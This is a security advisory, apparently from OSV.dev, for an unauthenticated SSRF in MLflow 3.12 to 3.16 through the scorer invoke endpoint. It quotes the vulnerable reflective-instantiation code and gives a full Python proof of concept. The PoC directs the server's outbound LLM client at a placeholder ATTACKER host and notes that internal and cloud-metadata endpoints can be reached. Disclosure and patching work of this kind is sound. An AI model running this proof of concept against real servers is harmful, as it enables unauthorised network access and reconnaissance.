MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
Published 23 Oct 2026 · Updated 29 Oct 2026
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Affected package
- Affected
- >=3.12.0rc0 <3.17.0
- Fixed in
- 3.17.0
pip install 'mlflow>=3.17.0'Details
Summary
MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details
Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiationThe allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
return _create_gateway_provider(backend, **kwargs)
try:
from trulens.providers.litellm import LiteLLM
litellm_model = backend.model_name
...
return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwardedOnly the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().
- Route:
POST /ajax-api/3.0/mlflow/scorer/invoke→_invoke_scorer_handler(mlflow/server/handlers.py:7026-7098), guarded only by@catch_mlflow_exception/@_disable_if_artifacts_only— no auth decorator. Scorer.model_validate_json(serialized_scorer)(the vulnerable deserialization) runs synchronously, before any tracking-store lookup orsubmit_jobcall.- Precondition: the server venv must have
trulens+trulens-providers-litellminstalled (a documented but optional, not-bundled GenAI-eval setup).
PoC
import time
import mlflow
from mlflow import MlflowClient
import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(tracking_uri=TARGET)
# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
span.set_inputs({"q": "hi"})
span.set_outputs({"a": "hi"})
trace_id = span.request_id
# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized_scorer = {
"name": "poc",
"third_party_scorer_data": {
"module": "mlflow.genai.scorers.trulens",
"class": "Coherence",
"metric_name": "Coherence",
"model": "openai:/gpt-4o", # routes to the litellm fallback
"kwargs": {
"api_base": ATTACKER,
"api_key": "ATTACKER-CANARY", # attacker's own value, not a server secret
},
},
}
resp = requests.post(
f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
json={
"experiment_id": exp_id,
"serialized_scorer": __import__("json").dumps(serialized_scorer),
"trace_ids": [trace_id],
},
)
print(resp.status_code, resp.text)
time.sleep(5) # scorer job runs asynchronously# Attacker-controlled listener at ATTACKER receives, moments later: POST /collect/chat/completions HTTP/1.1 Authorization: Bearer ATTACKER-CANARY Content-Type: application/json ...
The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.
Impact
An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.
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References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.